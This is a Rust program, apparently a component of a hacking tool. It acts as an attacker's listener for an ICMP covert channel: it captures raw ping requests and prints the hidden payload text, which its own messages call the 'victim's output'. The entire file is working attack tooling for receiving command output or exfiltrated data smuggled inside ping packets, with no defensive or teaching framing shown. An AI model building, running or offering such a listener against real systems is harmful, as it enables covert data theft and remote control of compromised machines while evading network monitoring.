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use std::net::IpAddr;
use pnet::packet::{Packet};
use pnet::packet::icmp::{IcmpTypes, echo_request, IcmpPacket};
use pnet::transport::{icmp_packet_iter, transport_channel, TransportChannelType, TransportProtocol};
use pnet::packet::ip::IpNextHeaderProtocols;
fn main() {
let protocol = TransportChannelType::Layer4(TransportProtocol::Ipv4(IpNextHeaderProtocols::Icmp));
let (_tx, mut rx) = transport_channel(1024, protocol).expect("Failed to open channel");
println!("[*] Attacker listener ready — waiting for victim’s output...");
let mut iter = icmp_packet_iter(&mut rx);
while let Ok((packet, sender_ip)) = iter.next() {
println!("Got ICMP packet from {} type: {:?}", sender_ip, packet.get_icmp_type());
if packet.get_icmp_type() == IcmpTypes::EchoRequest {
if let Some(req) = echo_request::EchoRequestPacket::new(packet.packet()) {
let data = req.payload();
if !data.is_empty() {
println!(
"[<] From {} | ID={} SEQ={} | Output:\n{}",
sender_ip,
req.get_identifier(),
req.get_sequence_number(),
String::from_utf8_lossy(data)
);
} else {
println!("[<] From {} | ID={} SEQ={} | No payload", sender_ip, req.get_identifier(), req.get_sequence_number());
}
} else {
println!("Malformed ICMP Echo Request packet");
}
}
}
}
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